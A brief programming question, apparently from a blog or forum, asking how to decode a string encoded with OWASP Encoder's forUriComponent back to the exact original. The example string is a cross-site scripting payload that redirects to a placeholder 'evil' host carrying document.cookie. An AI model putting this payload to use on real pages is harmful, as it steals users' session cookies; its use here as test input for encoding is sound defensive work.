I encoded below query string with forURIComponent method of OWASP encoder.
String query = "query=hello'};window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
Now I need to decode encodedQuery and decoded string should be exactly equal to original query.
Aucun commentaire:
Enregistrer un commentaire